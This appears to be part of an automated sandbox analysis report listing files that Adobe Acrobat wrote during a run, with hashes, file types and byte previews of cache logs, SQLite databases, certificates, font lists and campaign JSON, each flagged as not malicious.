Preview:	2025/01/10-20:05:47.562 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:47.564 1e10 Recovering log #3.2025/01/10-20:05:47.565 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.149685729809556
Encrypted:	false
SSDEEP:	6:iO4qV9yq2PcNwi2nKuAl9OmbzNMxIFUtSqVbZ1ZmwsqVBujRkwOcNwi2nKuAl9Ob:7nAvLZHAa8jFUtZbZ1/LE54ZHAa84J
MD5:	32FDD6E906B3DE5293A7ACBC24043649
SHA1:	317DE02C9F7DE68840550E9166D2BAF0CE2E15F2
SHA-256:	851857E8BD066AFD9B24B4185750DE32CAE26E7A2B213014AB1E34D8B07738BD
SHA-512:	ADE16001E0DF332C051A1301EB02F56F9E7B76E2106772AB6F13BCD88699E793E1866354D33C2C0236C8BAEC4B8896DF2F263B0C962D60F40BE7AA1A672C450D
Malicious:	false
Preview:	2025/01/10-20:05:47.562 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:05:47.564 1e10 Recovering log #3.2025/01/10-20:05:47.565 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4386250217900365
Encrypted:	false
SSDEEP:	384:yeaci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1MurVgazUpUTTGt
MD5:	F3AEDA130EF02DE42EBB27F869A7575B
SHA1:	AB647BB11E69661A9B024383D04433CD72737AD5
SHA-256:	6EDC31FAF7CEAD2ECC05B7A2611990ADB887FD61445C4674866BE2825C214182
SHA-512:	D2048B49E870A1F2252982707EB2EF76561BDEE367407C271D0FB2422A04A8AAFD9DF534B3EA7DC8517856395E00639D3F4D288535D8F0533E1C481040312BB9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7761784177937794
Encrypted:	false
SSDEEP:	48:7MIp/E2ioyVlioy3DoWoy1CABoy1NKOioy1noy1AYoy1Wioy1hioybioy1oy1noF:7Xpjul0iA7XKQM2b9IVXEBodRBkN
MD5:	B6C69EBD0A5771057A5AFCAF2B59004C
SHA1:	CBEF9420C7157D712F2AF12F8511E6D94F8995D5
SHA-256:	FB590F903C2EAA69BD84C69E3811308CC2C512FC3608DB3A5097CD1041D195AA
SHA-512:	FF75C4D0993C012A2720689FF485729BB6F339E25C92F4572F936BE298290D079CA5209AE096CB3E535BE13A1210EAEDCD6B41B570990F8E3A70C5C9AC76D9A4
Malicious:	false
Preview:	.... .c......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklvjoEl/tfllXlE/HT8krG/hlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKm/eT8i2zdNMa8RdWBwRd
MD5:	0B8DE3FAE29A6E7B943F5986A5223EA1
SHA1:	0F7B01A2999E6E105381127DDB6DC0C791DC238B
SHA-256:	6212BE5654042AFE4330F8FC8F43621A83E5B87721F51ACC4ED5D44C80B86897
SHA-512:	1D56A9F37F6DB865D485A792EE38B9CA18421F174A429727AB5E744C03C59B68367171E345EC9C8E6D560E1EAFE22423C9F75544A80198C24B3E79192B73037D
Malicious:	false
Preview:	p...... ........\.1..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kKTL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LiDImsLNkPlE99SNxAhUe/3
MD5:	BCA2BBE403F870F8798FB632DFB0D75C
SHA1:	2CA859AD07A894E3238DFDD9C59E07D898AAA1C4
SHA-256:	32A5CC69D4E2E4C815BA29CB0781BAB9AC5DEB4E4423032BD34F129A96B3B14D
SHA-512:	3803C75FB9DAE1661D0F8BA4634217D843A6F4DDBEABD404756692B7E8124176E2161C8E1DEC2677C92A6879EA0626AB98EFAF729DD2BD74C536154891EEEE30
Malicious:	false
Preview:	p...... ..........w..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7352

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364356632452269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJM3g98kUwPeUkwRe9:YvXKXxTfN2WsdTeOLsGMbLUkee9
MD5:	EC93CC6C8A672F762635F650354D24EE
SHA1:	D2EB5FE74AA7383122675B5E2D98E7851DFE3F8D
SHA-256:	30DF64736A8344C7DE2B142BF289287751DA8E7095C9EDAD426E8914E64588AC
SHA-512:	B2B1907C2CD7BEE4FF40CDE35EA642A04F180BB21920D36D760361E1BA3018554282A552173FA2E519D33B17F4BEBBFE3F7266F088C9511F5165BEA83808D02B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302001905526181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfBoTfXpnrPeUkwRe9:YvXKXxTfN2WsdTeOLsGWTfXcUkee9
MD5:	0C2034235083BBE7CA474EF4CE6D4434
SHA1:	151C89E9782D73203272AC6FE4D319970EA7B979
SHA-256:	D7D8D7A6EBD9D026E0A49B8D64B871EE54C1A6A2A556C25C7EF9BFE16D0E06DA
SHA-512:	EFFC3F1B255034CF8E4B963DCE7BD15E1F5BD4C808E5151E67B0D86F29AF0FF3289C764B669F95E3A198A96EFD25E0CAE27D71332779619E8FD608D358D8C26A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2809969409212565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfBD2G6UpnrPeUkwRe9:YvXKXxTfN2WsdTeOLsGR22cUkee9
MD5:	EA92D81FE28451BC92629F16BFEA00B3
SHA1:	E52A6F236D9F201F034ACBE040773F7093B1CF0B
SHA-256:	00685872AE14009F7AC6A92762F49CAA633E38625AA5AA585123F9B6905E80FF
SHA-512:	EC5C3D362C92B32BC92A741C23E2031B1F7D6DF44701B1C8F2D2D3F575CBABFE6028F2E51A28176454B0E1424107BD2DDAB36E8717D602625F17591E40B9AA17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3512697863486665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfPmwrPeUkwRe9:YvXKXxTfN2WsdTeOLsGH56Ukee9
MD5:	91004DE371CBFF5DE5CE533E3D34F5A2
SHA1:	0CBF69E4C0E38873C4D539EBFF3B3A315A94C637
SHA-256:	BAECE621AF65EBB637D4DE17446B10027A1A3DE01194B8397EAEABD009593D4D
SHA-512:	BC906521DDEA2B9F828CFE634D7B21777406EAB8696EABC02635B9D08DCCB72141319F89759DCEE02F5BC9F629BC26FACF5E9D9D6CA2D8410EA99762A3D58ACD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690899897947821
Encrypted:	false
SSDEEP:	24:Yv6XxTtmeOtpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+e1:YvGEeOhgy6SAFv5Ah8cv/+e1
MD5:	D4E0D52DF707D10C5608F4A0E0AC5EE1
SHA1:	FE8CE6B6F674FB62547056865BFC87D69C18198C
SHA-256:	262B501CB945B09EA74050A99C8CD54356CB719D2B93813892D1BF949CB693E8
SHA-512:	BB82515223B95002E4462130384B83D3495E3FB969D4C734E040C0D87925D5A131B22BFDAA242CBD94BBE1287535D6C814CDE2BE2700C00573C85E134C228092
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285481126505458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJf8dPeUkwRe9:YvXKXxTfN2WsdTeOLsGU8Ukee9
MD5:	5EDA3144EF84EE9BB0746224E7B22A59
SHA1:	75491F9D75054F1B4839C89B5218850A80790E21
SHA-256:	228544E889305057FB11534E80B410040644CC9263A167DA0F3086B7280E37AB
SHA-512:	E2A2317C9D8318861A4632992233B38D9AA32299D073FCC8450052CFD4620978A88122AF147619BF82E5C26685279F3C5B9E2339CCF96FFB8FE048C2D21950D9
Malicious:	false
